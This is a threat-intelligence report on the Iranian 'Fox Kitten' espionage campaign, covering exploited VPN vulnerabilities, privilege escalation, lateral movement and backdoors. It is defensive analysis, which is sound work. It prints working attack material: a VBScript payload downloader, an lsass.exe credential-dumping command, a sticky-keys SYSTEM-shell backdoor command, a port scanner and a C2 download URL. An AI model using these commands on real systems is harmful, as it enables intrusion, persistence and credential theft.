Fox Kitten Campaign
Widespread Iranian Espionage-Offensive Campaign

February 2020
TLP:White
1. Executive Summary

During the last quarter of 2019, ClearSky research team has uncovered a widespread Iranian offensive campaign which we call "Fox Kitten Campaign"; this campaign is being conducted in the last three years against dozens of companies and organizations in Israel and around the world. Though the campaign, the attackers succeeded in gaining access and persistent foothold in the networks of numerous companies and organizations from the IT, Telecommunication, Oil and Gas, Aviation, Government, and Security sectors around the world.

We estimate the campaign revealed in this report to be among Iran's most continuous and comprehensive campaigns revealed until now. Aside from malware, the campaign enfolds an entire infrastructure dedicated to ensuring long-lasting capability to control and fully access the targets chosen by the Iranians. The revealed campaign was used as reconnaissance infrastructure; however, it can also be used as a platform for spreading and activating destructive malware such as ZeroCleare and Dustman, tied to APT34.

During our analysis, we have found an overlap, with medium-high probability, between this campaign’s infrastructure and the activity of an Iranian offensive group APT34-OilRig. Additionally, we have identified, with medium probability, a connection between this campaign and the APT33-Elfin and APT39-Chafer groups. The campaign was first revealed by Dragos, named “Parisite” and attributed to APT33; we call the comprehensive campaign revealed in this report “Fox Kitten”.

We assess with medium probability that the Iranian offensive groups (APT34 and APT33) have been working together since 2017, though the infrastructure that we reveal, vis-à-vis a large number of companies in Israel and around the world.

The campaign infrastructure was used to:

- Develop and maintain access routes to the targeted organizations
- Steal valuable information from the targeted organizations
- Maintain a long-lasting foothold at the targeted organizations
- Breach additional companies through supply-chain attacks

The campaign was conducted by using a variety of offensive tools, most of which open source code based and some – self-developed.

The initial breach of the targeted organizations was performed, in most cases, by exploiting 1-day vulnerabilities in different VPN services such as: Pulse Secure VPN, Fortinet VPN, and Global Protect by Palo Alto Networks. Upon gaining foothold at the target, the attackers tried to maintain the access to the networks by opening a variety of communication tools, including opening RDP links over SSH tunneling, in order to camouflage and encrypt the communication with the targets. At the final stage, after successfully infiltrating the organization, the attackers have performed a routine process of identification, examination, and filtering of sensitive, valuable information from every targeted organization. The valuable information was sent back to the attackers for reconnaissance, espionage, or further infection of connected networks.
Our main insights:

- The Iranian APT groups have succeeded to penetrate and steal information from dozens of companies around the world in the past three years.
- The most successful and significant attack vector used by the Iranian APT groups in the last three years has been exploitation of known vulnerabilities in systems with unpatched VPN and RDP services, in order to infiltrate and take control over critical corporate information storages.
- This attack vector is not used exclusively by the Iranians APT groups; it became a main attack vector for cybercrime groups, ransomware attacks, and other state-sponsored offensive groups.
- We assess this attack vector to be significant also in 2020 apparently by exploiting new vulnerabilities in VPN’s and other remote systems (such as the latest one existing in Citrix).
- Iranian APT groups have developed good technical offensive capabilities and are able to exploit 1-day vulnerabilities in relatively short periods of time, starting from several hours to a week or two.
- Since 2017, we identify Iranian APT groups’ focusing on IT companies that provide wide range of services to thousands of companies. Breaching those IT companies is especially valuable, because through them one can reach the networks of additional companies.
- After breaching the organizations, the attackers usually maintain foothold and operational redundancy by installing and creating several more access points to the core corporate network. As a result, identifying and closing one access point does not necessarily deny the capability to carry on operations inside the network.
- We assess with medium-high probability that Iranian APT groups (APT34 and APT33) share attack infrastructures. Furthermore, it can be one group that was artificially marked in recent years as two or three separate APT groups.
- The time needed to identify an attacker on a compromise network is long and varies between months to not at all. The existing monitoring capability for organizations to identify and block an attacker that entered through remote communication tools, is difficult to impossible.
In this report, we survey the attack stages and tools used in the campaign by matching it to the MITRE ATT&CK model. The first part of the report contains a short review of the offensive tools found in the breached organizations or uploaded to public repositories for analysis. Throughout the attacks, no coherent scenario was identified. The attackers changed their modus operandi and thus the tools are not necessarily presented in their chronological attack vector. In the following chapters we expand on the techniques and methods used in analyzing the tools. After that, an attribution to the different APT groups is being made, and finally we present some recommendations and IoCs.

We would like to thank Dragos researchers who found the first signs of the campaign (Called by them as “Parisite”) and shared with us valuable information that helped us reveal the whole Fox-Kitten campaign presented in this report.

Also, we would like to thank the companies that chose to share with us information. Without their sharing of malicious tools, the scale and depth infrastructure would not have been revealed.

1 https://dragos.com/
2. Table of Contents

1. Executive Summary .................................................................................................................. 2
2. Table of Contents ...................................................................................................................... 5
3. Fox Kitten Campaign’s Offensive Tools ................................................................................. 6
   3.1 Tools Used in Fox Kitten Campaign ............................................................................... 6
   3.2 Tools and Attack Techniques’ Classification According to MITRE ATT&CK .............. 7
4. Techniques and Methods .......................................................................................................... 10
   4.1 Pre-access and Access Tools .......................................................................................... 10
      4.1.1 Main Attack Vector – Exploiting Vulnerabilities in VPN Systems ...................... 10
      4.1.2 Pre-access tool for unifying file chunks hex-encoded in TXT files into one executable... 11
   4.2 Local Privilege Escalation Tools ...................................................................................... 14
      4.2.1 “Juicy Potato” ...................................................................................................... 15
      4.2.2 “Procdump” and “Mimikatz” .............................................................................. 16
      4.2.3 “Sticky Keys” and Other Accessibility Tools’ Settings ........................................... 17
      4.2.4 Local Admin User ............................................................................................... 17
   4.3 Lateral Movement Tools .................................................................................................... 17
      4.3.1 “STSRCheck” ....................................................................................................... 17
      4.3.2 “PORT.EXE” ..................................................................................................... 18
      4.3.3 “Invoke the Hash” .............................................................................................. 19
   4.4 Backdoor Installation and C&C Communication Tools ...................................................... 20
      4.4.1 “POWSSHNET” ................................................................................................. 21
      4.4.2 Socket-based Backdoor for Socket Opening ......................................................... 24
      4.4.3 “Servo”, “Ngrok”, and “FRP” .......................................................................... 26
      4.4.4 Internal and External Webshells .......................................................................... 27
      4.4.5 Archives (WinRAR or 7-zip) ............................................................................. 30
5. Attribution to Iranian APT Groups .......................................................................................... 31
6. Insights and Recommendations ............................................................................................... 34
7. Indicators .................................................................................................................................... 35
   Hashes ......................................................................................................................................... 35
   IP Addresses .............................................................................................................................. 36
   GUID ID ..................................................................................................................................... 37
   Mutex ......................................................................................................................................... 37
3. Fox Kitten Campaign’s Offensive Tools

In this chapter, we will shortly survey the offensive tools used during the campaign. In the first part we review the main tools used during the campaign. In the second part of the chapter we will match the tools to the cyber event kill chain. At the end of the chapter, we present a summary table with all the indicators from the “Fox Kitten” campaign.

3.1 Tools Used in Fox Kitten Campaign

During the Fox Kitten campaign, the attackers have used many different offensive tools to maintain foothold at the organization they have infiltrated. Upon initial compromise of the corporate network, the attackers focused on establishing strong grip in the organization by installing a set of remote access and communication tools.

After finishing the breaching process, the attackers establish their “grip” on the organization by installing several backdoors at the systems they have compromised. Those backdoors allowed the attackers to connect to the network secretly and steadily. In many cases, the attackers have connected to the organization through a regular encrypted RDP connection.

The attackers created for their self-developed tools versions that match the operational systems at target organizations. Thus, in 2017 the tools were developed and fitted to 32-bit systems, while in 2019 the tools were developed for 64-bit systems.

The tools used by the Iranian attackers can be divided into several groups:

1. **Self-developed tools** – tools developed by the attacker and fitted to the attacked. In this campaign we have identified a few self-developed tools. The most important tool is a backdoor that opens a SSH tunnel between the attacker and the target, and allows the former to connect to the latter through RDP.

   Following is a list of self-developed tools used by the Iranians in this campaign:
   - **STSRCheck** – Self-development databases and open ports mapping tool.
   - **POWSSHNET** - Self-Developed Backdoor malware – RDP over SSH Tunneling.
   - **VBScript** – download TXT files from the command-and-control (C2 or C&C) server and unify these files to a portable executable file.
   - **Socket-based backdoor over cs.exe** – An exe file used to open a socket-based connection to a hardcoded IP address.
   - **Port.exe** – tool to scan predefined ports an IP’s

2. **Open source-based tools** taken from the internet and adjusted to the attackers’ use, either by making changes to the tool or by using it as it is.

   Following is a list of open-source tools used by the Iranians in this campaign:
   - **Invoke the Hash** – PowerShell commands in order to perform “Pass the Hash” methods.
   - **JuicyPotato** – Local Privilege Escalation tool.

3. **Seemingly legitimate tools** used by the Iranians for their needs. Following are two examples for this kind of tools:
   - **Ngrok, FRP, Serveo** - Free Command and Control Protocol
   - **Putty and Plink** – Remote services
3.2 Tools and Attack Techniques’ Classification According to MITRE ATT&CK

The tools and attack techniques’ table are divided into three types:

1. Exploitation technique of VPN tools’ vulnerabilities at the initial compromise stage in targeted organizations.
2. Tools designed for privilege escalation, foothold ensuring, and creating a gap for RDP connection and information theft.
3. Post-exploitation tools used for C2 server communication and files’ exfiltration, after the campaign has ensured its foothold on the target.

The table presents an overlap between techniques and tools identified during the Fox Kitten campaign, and those of three Iranian offensive groups: APT33 and APT34, the campaign’s main groups, and APT 39, a sub-group of APT34 to which we have found matchings in several characteristics of the Fox Kitten campaign\(^2\). Malicious offensive tools are highlighted in red.

<table>
<thead>
<tr>
<th>Kill Chain Phase</th>
<th>Techniques, Tools and Procedures</th>
<th>Title</th>
<th>MITRE ATT&amp;CK</th>
<th>Known Iranian group or tool (if exists)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit</td>
<td>Technique</td>
<td>CVE-2019-11510</td>
<td>External Remote Services - T1133</td>
<td>APT34</td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2018-13379</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>CVE-2018-1579</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Execute</td>
<td>Technique</td>
<td>HEX in TXT files</td>
<td>Data Staged – T1074</td>
<td>-</td>
</tr>
<tr>
<td></td>
<td>Tool</td>
<td>Putty and Plink</td>
<td>Remote Services - T1021</td>
<td>Legitimate tools, used by APT33, APT34</td>
</tr>
<tr>
<td></td>
<td>Procedures</td>
<td>Stealing credentials via ProcDump to lsass.exe and Mimikatz</td>
<td>Credential Dumping – T1003</td>
<td>APT33, APT34, APT39</td>
</tr>
<tr>
<td></td>
<td>Tools</td>
<td>STSRCheck - Self-development databases and open ports mapping tool</td>
<td>Network Service Scanning – T1046</td>
<td>APT34, APT39</td>
</tr>
</tbody>
</table>

\(^2\) attack.mitre.org/groups/G0064/
attack.mitre.org/groups/G0049/
attack.mitre.org/groups/G0087/
<table>
<thead>
<tr>
<th>Kill Chain Phase</th>
<th>Techniques, Tools and Procedures</th>
<th>Title</th>
<th>MITRE ATT&amp;CK</th>
<th>Known Iranian group or tool (if exists)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Tools + Techniques</td>
<td><strong>Invoke the Hash</strong></td>
<td></td>
<td>PowerShell – T1086  Pass the Hash – T1075</td>
<td>Open Source tool. Techniques used by: APT33, APT34</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Procedures</td>
<td>Local Admin / User</td>
<td>Create Account – T1136</td>
<td></td>
<td>-</td>
</tr>
<tr>
<td></td>
<td>Accessibility tool (Sticky Keys) abuse</td>
<td>Command-Line Interface – T1059  Accessibility Features – T1015</td>
<td></td>
<td>APT34</td>
</tr>
<tr>
<td>Techniques</td>
<td><strong>JuicyPotato – Local Privilege Escalation tool</strong></td>
<td>Exploitation for Privilege Escalation – T1068</td>
<td></td>
<td>Open Source Tool, also used by: APT33</td>
</tr>
<tr>
<td>Tools</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Procedures</td>
<td>Scheduled Task</td>
<td>Scheduled Task</td>
<td></td>
<td>Common mechanism, also utilized by: APT33, APT34, APT39</td>
</tr>
<tr>
<td>Techniques</td>
<td>Port.exe</td>
<td>Network Service Scanning – T1046</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Tools</td>
<td>Ngrok</td>
<td>Connection Proxy - T1090</td>
<td></td>
<td>Free tool</td>
</tr>
<tr>
<td>Tools</td>
<td>FRP</td>
<td>Connection Proxy - T1090</td>
<td></td>
<td>Open Source Tool</td>
</tr>
<tr>
<td>Tools</td>
<td>Serveo</td>
<td>Connection Proxy - T1090</td>
<td></td>
<td>Free tool</td>
</tr>
<tr>
<td>Kill Chain Phase</td>
<td>Techniques, Tools and Procedures</td>
<td>Title</td>
<td>MITRE ATT&amp;CK</td>
<td>Known Iranian group or tool (if exists)</td>
</tr>
<tr>
<td>------------------</td>
<td>----------------------------------</td>
<td>-------</td>
<td>--------------</td>
<td>---------------------------------------</td>
</tr>
<tr>
<td>C&amp;C</td>
<td>Tools</td>
<td>POWSSHNET - Self-Developed Backdoor - RDP over SSH Tunneling</td>
<td>Credentials in Files – T1081 Remote Services – T1021 Remote Desktop Protocol - T1076</td>
<td>APT34, APT39</td>
</tr>
<tr>
<td></td>
<td>Tools</td>
<td>VBScript – downloading files from C2</td>
<td>Scripting - T1064</td>
<td>APT34</td>
</tr>
<tr>
<td></td>
<td>Tools</td>
<td>Socket-based backdoor – cs.exe</td>
<td>Uncommonly Used Port - T1065</td>
<td>APT33</td>
</tr>
<tr>
<td></td>
<td>Techniques</td>
<td>External Webshell over the internet</td>
<td>Web Shell – T1100 Remote Services – T1021</td>
<td>APT33, APT34</td>
</tr>
<tr>
<td></td>
<td>Techniques</td>
<td>Local Webshell – Local IIS</td>
<td>Web Shell – T1100</td>
<td>APT34</td>
</tr>
<tr>
<td></td>
<td>Techniques</td>
<td>Local Webshell – Virtual Directory</td>
<td>Web Shell – T1100 Connection Proxy – T1090</td>
<td>APT34</td>
</tr>
<tr>
<td></td>
<td>Techniques</td>
<td>Communication with C2</td>
<td>Web Service – T1102</td>
<td>APT33, APT34, APT39</td>
</tr>
<tr>
<td></td>
<td>Procedures</td>
<td>Archives (WinRAR or 7-ZIP)</td>
<td>Data Compressed – T1002</td>
<td>APT39</td>
</tr>
</tbody>
</table>
4. Techniques and Methods

This chapter presents a review of techniques employed in the Fox Kitten campaign. The techniques can be divided into four main categories:

1. Achieving access to target network through vulnerabilities’ exploitation.
2. Achieving persistent foothold on target network using privilege escalation and users’ credentials.
3. Moving along the network by lateral movement.
4. Different techniques for relevant files’ exfiltration back to Iran.

During research on the campaign, several techniques, aimed to maintain persistent foothold on target network and exploiting completely legitimate tools, have been identified. One of those is exploiting the Microsoft accessibility tools: the Iranians appear to exploit different accessibility tools built for the Windows OS, while the most used method is exploiting the “sticky keys” tool to create a shell. The accessibility tools, originally designed to create an accessible environment for people with certain physical limitations, are used for privilege escalation on the targeted system.

4.1 – Pre-access and Access Tools

4.1.1 Main Attack Vector – Exploiting Vulnerabilities in VPN Systems

MITRE ATT&CK Tactic: Initial Access (TA0001)
MITRE ATT&CK Technique: External Remote Services (T1133)

In most cases, the corporate networks were compromised by exploiting discovered and published vulnerabilities in VPN systems in order to access the target network. The main VPN systems exploited by the attackers are Pulse Secure Connect, Global Protect (by Palo Alto Networks), and Fortinet.

---

3 attack.mitre.org/techniques/T1015/
FortiOS. We assess with high probability that vulnerabilities in Citrix will be used by the attackers as well.

Exploiting VPN gateway vulnerabilities on the targets, the group successfully acquires access to the targets’ core systems, downloads different files, and continues with lateral movement and foothold ensuring. The main system exploited is Pulse Secure Connect, through the CVE-2019-11510 vulnerability.

Following are the vulnerabilities in different access systems used by the attackers:

**CVE-2019-11510 Pulse Secure**

In Pulse Secure – Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability.

**CVE-2018-13379 Fortinet FortiOS**

An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests.

**CVE-2018-1579 Palo Alto Networks VPN**

This vulnerability in Palo Alto Networks VPN appliances affects PAN-OS 7.1.18 and earlier, PAN-OS 8.0.11-h1 and earlier, and PAN-OS 8.1.2 and earlier with GlobalProtect Portal or GlobalProtect Gateway Interface enabled. An attacker who successfully exploits this vulnerability by sending a specially crafted packet can execute arbitrary code on the device. The vulnerability allows an attacker to modify the device and access sensitive information.

Those vulnerabilities are still relevant and were recently used in a destructive malware attack on the national oil company of Bahrain⁴.

**4.1.2 Pre-access tool for unifying file chunks hex-encoded in TXT files into one executable**

MITRE ATT&CK Tactic: Execution (TA0002)

MITRE ATT&CK Technique: Scripting (T1064)

Upon gaining an initial access to the organization, some different files are downloaded to the compromised computer, in order to run additional tools. First, a few VBScript files will be downloaded from the C2 servers, designed to download additional files from different servers. The VBS files are generically named – like ‘down’ or different English letters, like “vvv”, “v1”, “v” etc. – and those titles are not unique for this particular attack and can be found on the internet⁵. Based on the tool’s description by the source code’s author, the code is designed to download a binary using XMLHTTP. Following is a screenshot of one of the files, called “Down”:

---

⁵ blog.netnerds.net/2007/01/vbscript-download-and-save-a-binary-file/
function download(sFileURL, sLocation)
Set objXMLHTTP = CreateObject("Msxml2.ServerXMLHTTP")
objXMLHTTP.setProxy 2, "10.90.254.204:8000", ""
objXMLHTTP.open "GET", sFileURL, false
objXMLHTTP.send()
do until objXMLHTTP.Status = 200 : wscript.sleep(1000) : loop
If objXMLHTTP.Status = 200 Then
Set objADStream = CreateObject("ADODB.Stream")
objADStream.Open
objADStream.Type = 1
objADStream.Write objXMLHTTP.ResponseBody
objADStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FileExists(sLocation) Then objFSO.DeleteFile sLocation
Set objFSO = Nothing
objADStream.SaveToFile sLocation
objADStream.Close
Set objADStream = Nothing
End if
Set objXMLHTTP = Nothing
End function
download Wscript.Arguments(0), Wscript.Arguments(1)

Running different VBS scripts, one can download an array of files on the infected computer, and those will be used by the attacker to establish foothold and move laterally. As it can be seen in the code, the “Download” function will perform a GET request to an internal address using the object MSXML2.ServerXMLHTTP in order to download a file. At the end of this process, throughout which several VBScript scripts will be run, several txt files will be created on the computer.

Every such txt file contains a string of numbers and letter which are an encoded piece of code, in hexadecimal. Following is a screenshot of one of these files, followed by the hex decoded:
Several such files are downloaded to the computer, each one comprises a different piece of a backdoor’s code. The purpose of this dissection of an executable into several files is to avoid detection by anti-virus programs installed on the attacked computer. In addition, a batch file, named “combine.bat”, is downloaded to the computer and its goal is to combine all those files and create an executable. Following is a screenshot of the entire EXE file represented in hex editor:
Following is a summary of processes happening on the attacked computer:

<table>
<thead>
<tr>
<th>Offset (h)</th>
<th>Decoded text</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>$E..............yy..</td>
</tr>
<tr>
<td>00000010</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000020</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000030</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000040</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000050</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000060</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000070</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000080</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>00000090</td>
<td>$E..............0....</td>
</tr>
<tr>
<td>000000A0</td>
<td>$E..............0....</td>
</tr>
</tbody>
</table>

4.2 Local Privilege Escalation Tools

After the vulnerabilities in the VPN systems have been used for initial access, the attackers perform several actions to ascertain their foothold in the network and maintain high privileges there. During the attacks that we have observed, we didn’t identify one consistent attack scenario and one kill chain. Therefore, the tools reviewed in this chapter do not necessarily comprise a continuous, chronological order. In this chapter, we will present the different tools and techniques based on the MITRE ATT&CK model, divided into the following techniques:

Execution, Persistence, Privilege Escalation, Credential Access Discovery, Lateral Movement.
4.2.1 “Juicy Potato”  
MITRE ATT&CK Tactic: Privilege Escalation (TA0004)  
MITRE ATT&CK Technique: Exploitation for Privilege Escalation (T1068)

Juicy Potato is an open-source tool found on GitHub\(^6\) and based on RottenPotatoNG. It can perform local privilege escalation from NT AUTHORITY\LOCAL SERVICE to NT AUTHORITY\SYSTEM using the “BITS Service” and “COM servers” processes. The tool searches for errors in privileges given to the users in the credentials manager in order to give a local user higher access.

In order for this tool to run properly on the computer, the attacker has to have one of the following two permissions:

- **SeImpersonate** – to create a process with a certain token
- **Se AssignPrimaryToken** – to create a process as a certain user

Following is an example of the tool being used, whereas the CMD window is activated under the Local Service permissions, and through a command that activates “Juicy Potato” another CMD is opened, now with System permissions\(^7\):

![Example of Juicy Potato usage](image)

The tool is downloaded from the command-and-control server used by the attackers in this campaign – 95.211.215[.]255. This file is 64-bit system compatible, and this in contrast with the one used in 2017 and fitted to 32-bit systems. The file is downloaded to the computer under the title “psexec.exe”, while at the C2 server it’s called “j.exe” and found at the following address: hxxp://95.211.215[.]225/upd/j.exe.

This URL address leads to downloading a file name “JuicyPotato.exe” and sometimes “jp.exe” – both are versions of this tool.

---

\(^6\) [github.com/ohpe/juicy-potato](https://github.com/ohpe/juicy-potato)

\(^7\) [hunter2.gitbook.io/darthsidious/privilege-escalation/juicy-potato](https://hunter2.gitbook.io/darthsidious/privilege-escalation/juicy-potato)
In several versions of this file there is an embedded evasion technique through which the tool identifies virtual machines and doesn’t activate. The “CPUID trick” artifact, used to identify virtual machines and perform an anti-VM trick, appears in the file downloaded to the computer:

```
$ff88422f:        sub    esp, 20h
$ff884232:        and    dword ptr [rbp-18h], 00000000h
$ff884236:        xor    ecx, ecx
$ff884238:        xor    eax, eax
$ff88423a:        mov    dword ptr [00000000F9CF01Ch], 00000002h
$ff884244:        cpuid
$ff884246:        mov   edx, ecx
$ff884247:        mov   eax, ecx
$ff884249:        mov    dword ptr [00000000F9CF01Ch], 00000001h
$ff884253:        xor    ecx, 444D4163h
$ff884259:        mov    rdx, edx
$ff88425a:        mov    ecx, edx
```

4.2.2 “Procdump” and “Mimikatz”

MITRE ATT&CK Tactic: Credential Access (TA0006)
MITRE ATT&CK Technique: Credential Dumping (T1003)
MITRE ATT&CK Tool: Mimikatz (S0002)

During this process, users’ credentials are stolen from the Lsass.exe process using ProcDump and Mimikatz. In order to perform this process, the attacker needs to have admin permissions on the target computer.

In this attack scenario, after gaining initial access to the computer, ProcDump, a legitimate Microsoft tool that dumps the Lsass.exe process, is run. This tool is not identified by anti-virus solutions, unlike Mimikatz.

Following is an example of using this command as a local user (also executable remotely):

```
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

At this point, a dump file of Lsass.exe which contains the relevant credentials, is produced. The file is passed to Mimikatz for further extraction – an action which requires local admin privileges.
4.2.3 “Sticky Keys” and Other Accessibility Tools' Settings

MITRE ATT&CK Tactic: Privilege Escalation (TA0004)

After getting the passwords in the previous stage, the attackers created another mechanism to gain local admin permissions on target station.

Another tool used by the attackers is abuse of the settings of the “sticky keys” accessibility tool. First, the attackers delete the “sticky keys” file – sethc.exe – from the computer. Next, they copy the local admin’s CMD file and switched it with the “sticky keys” process. As a result, when a user connects to the infected station via RDP and presses five times on a sticky key, for example “Shift”, a high-privileged Shell will be run at the station8.

```
copy /y C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
```

4.2.4 Local Admin User

MITRE ATT&CK Tactic: Persistence (TA0003)
MITRE ATT&CK Technique: Create Account (T1136)

During analysis, we found that the attackers created a special local admin user at the infected stations. This move allows the attackers to maintain high permissions at the station even if the password of the station owner’s main user will be changed.

4.3 Lateral Movement Tools

After establishing foothold, finding credentials, and acquiring high permissions, the attackers started performing lateral movement in the target network. In this part of the report we will elaborate on three prevalent tools used by the attackers at this stage. The tools are used to map servers and open ports, perform specialized scan for servers and predefined ports, and also perform “pass the hash” attacks.

4.3.1 “STSRCheck”

MITRE ATT&CK Tactic: Discovery (TA0007)
MITRE ATT&CK Technique: Network Service Scanning (T1046)

While building the campaign, the attackers have individually developed a tool for databases, servers, and open ports’ mapping in the targeted network. The tool is called “STSRCheck” and it can evaluate the possibility to access different IP addresses over the following protocols:

- SSH – port 22
- Telnet – port 23
- SMB – port 445
- RDP – port 3389
- HTTP – port 80

8thewindowsclub.com/sticky-keys-backdoor-scanner
MySQL and MsSQL – ports 3306 and 1433, respectively

After the mapping is done, the tool will try to brute-force the usernames and passwords of the targets. The tool will try by default to log in using generic usernames, like Root or Administrator, combined with common passwords. The tool also accepts additional list of credentials.

4.3.2 “PORT.EXE”
MITRE ATT&CK Tactic: Discovery (TA0007)
MITRE ATT&CK Technique: Network Service Scanning (T1046)

The “port.exe” tool is a short piece of code written by the attackers to scan servers and predefined ports. The tool accepts an input of a server address and a port for scanning, checks whether the port is open on this server, and return an answer. Unlike STSRCheck, the tool allows to define any port to be scanned.

```csharp
using System;
using System.Net.Sockets;

namespace port
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            string hostname = args[0].ToString();
            int port = Convert.ToInt32(args[1].ToString());
            using (TcpClient tcpClient = new TcpClient())
            {
                try
                {
                    tcpClient.Connect(hostname, port);
                    Console.WriteLine("Port open");
                }
                catch (Exception)
                {
                    Console.WriteLine("Port closed");
                }
            }
        }
    }
}
```

Like other files in this infrastructure, it is possible that the file was prepared and deployed already back in 2017, this according to the file’s time date stamp, which could have been edited by the attackers.
Another characteristic that can be learned by examining this file is the "Copyright 2017" stamp, common among the group’s self-developed files:

Other files in this infrastructure, used by the attackers in the second wave of attacks, in late 2019, also have this stamp.

In 2017, Iran has attacked, through the APT34 espionage group, a large number of Israeli companies and organizations, most of them in the IT sector. ClearSky revealed in 2017 the campaign’s activity in Israel, which included attempts to breach Israeli IT companies by impersonating Juniper VPN, installing a backdoor at the company, and exfiltrating files. In parallel, the Israeli CERT has published additional indicators of this infrastructure, from which it can be learned about exploitation of VPN vulnerabilities and targets that we identified in the Fox Kitten campaign as well. Recently, we also identified a reactivation of some of the indicators from the 2017 campaign.

4.3.3 “Invoke the Hash”
MITRE ATT&CK Tactic: Lateral Movement (TA0008)
MITRE ATT&CK Technique: Pass the Hash (T1075)

The attackers performed pass-the-hash attacks, using an open-source tool found on GitHub, called “Invoke the Hash”. The tool contains several PowerShell commands designed to perform pass-the-hash attacks in WMI and SMB tasks through .NET TPCClient. This action is carried out when the attacker successfully bypasses the NT Lan Manager (NTLM) and connects to the system without having

---

9 clearskysec.com/oilrig/
11 github.com/Kevin-Robertson/Invoke-TheHash
access to the target’s passwords in clear text. This package does not require local administrator privilege on target station.

This package is not downloaded directly from GitHub, but rather downloaded through the VBS files presented at the beginning of the chapter. After that, PowerShell commands are run in order to gain access to WMI and SMB on another computer on the network.

Following is a screenshot from the package’s GitHub page, running the Invoke-SMBclient module:

![Screen capture of PowerShell command execution]

4.4 Backdoor Installation and C&C Communication Tools

After the attackers gained access to the target computers and in parallel to the lateral movement, they started leaking files from the attacked systems back to their own computers. Our understanding is that this is the goal of the campaign – information theft, and this even though the campaign possibly cooperated with APT33, known for its destructive malware-spreading capabilities, which we didn't identify in this campaign.

In this chapter we will review several tools used to leak the information and communicate with the targeted computers. This stage's main concept is establishing the ability to connect, through RDP, to the target company, categorizing relevant files either by looking at them online or through file name lists, and then exfiltrating them to the attacker in different ways. Note, that the tools and techniques changed between different attacks, and therefore this chapter lists them, again, not necessarily in chronological order.

The following scheme represents the different ways for the attackers to connect to the targets:

---

12 github.com/Kevin-Robertson/Invoke-TheHash
4.4.1 “POWSSHNET”
MITRE ATT&CK Tactic: Lateral Movement, Credential Access (TA0008, TA0006)
MITRE ATT&CK Technique: Remote Services, Remote Desktop Protocol, Credentials in Files (T1021, T1076, T1081)

“Backdoor POWSSHNET -RDP over SSH Tunneling” is a self-developed tool used by the attackers to open an SSH tunneling through an executable that allows RDP connection to the computer. Most of the files used in the campaign are PE EXE files. The use of those files is divided into two periods: in 2017 the attackers used files for 32-bit systems, while in 2019 they used files for 64-bit systems. It should be noted that this kind of files is very rarely identified by the different anti-virus engines. Thus, the files relevant to the 2017 attacks are completely unidentified as infect by Virus Total; the files used in 2019 are identified only by a few AV companies.
During the attack, the attackers install on target computers an exe file that is named differently, while the naming mainly has the term “SSH”. Several examples of the files’ naming: Svchosts.exe, Sshnet.exe, Ssh2.exe, Isaa.exe, cssrss.exe.

Those malwares have the following PDB path:
C:\Users\Administrator\Desktop\sshnet\sshnet\obj\Release\sshnet.pdb

Those files share some common characteristics. First, those files share the same VS version, FEEF04BDh, that is otherwise uncommon.

<table>
<thead>
<tr>
<th>Info</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>VS_VERSION_INFO</td>
<td>FEEF04BDh</td>
</tr>
<tr>
<td>Signature</td>
<td>FEEF04BDh</td>
</tr>
<tr>
<td>Struc Version</td>
<td>1.0</td>
</tr>
<tr>
<td>File Version</td>
<td>1.0.0.0</td>
</tr>
<tr>
<td>Product Version</td>
<td>1.0.0.0</td>
</tr>
<tr>
<td>File Flags Mask</td>
<td>0.63</td>
</tr>
<tr>
<td>File Flags</td>
<td></td>
</tr>
<tr>
<td>File OS</td>
<td>WINDOWS32</td>
</tr>
<tr>
<td>File Type</td>
<td>APP</td>
</tr>
<tr>
<td>File SubType</td>
<td>UNKNOWN</td>
</tr>
<tr>
<td>File Date</td>
<td>00:00:00 00/00/0000</td>
</tr>
</tbody>
</table>

All the files, both from 2017 and 2019, share the same version that is characterized by a file description that has the word “sshnet” and a copyright for 2017:

These files are characterized by a global unique identifier (GUID) that is common to most of the infected files in this infrastructure: $68c4e12f-221f-4580-9631-940208a4306c.
When the file is run on the attacked computer (after the appropriate credentials are acquired), an SSH tunnel will be opened to an SSH server, whose address and authentication credentials are embedded in the malware's source code. It should be noted that in each file there were two different pairs of username and password embedded. Analyzing the files used to attack in Israel, we have found several important points:

1. The first username used to attempt establish a connection is “Arbab”. This word exists in the Persian language and means “boss”, “manager”, “lord” or in a more archaic context, “tribe chief”. It should be noted the “Arbab” is also the name of a Saudi VPN operator, and it’s possible that it was another target in this campaign.
2. The first password used in the files repeats itself in all the files in the infrastructure, both from 2017 and 2019. The password is “G654g654!”.
3. The attacker connects twice – once to a proxy, in order to connect the destination C2 server, and once again to the C2 itself. These credentials are both hard-coded.

As it can be seen in the screenshot, the malware connects to the proxy, that was passed by the attacker via the command line while starting a program before the C2 connection. Later, it connects to C2 server (redacted for privacy reasons). To connect to the C2 server, a legitimate DLL called Renici.SshNet and the “Idstr” value are used. As can be seen from the source code sample, this action invokes a specific content from a string found in the metadata. Another meaningful credential is the “VPNADM” username, which is a username used during the connection to the SSH service running on the C2. Following is a list of processes that occur during the malware’s run and communication with the server:
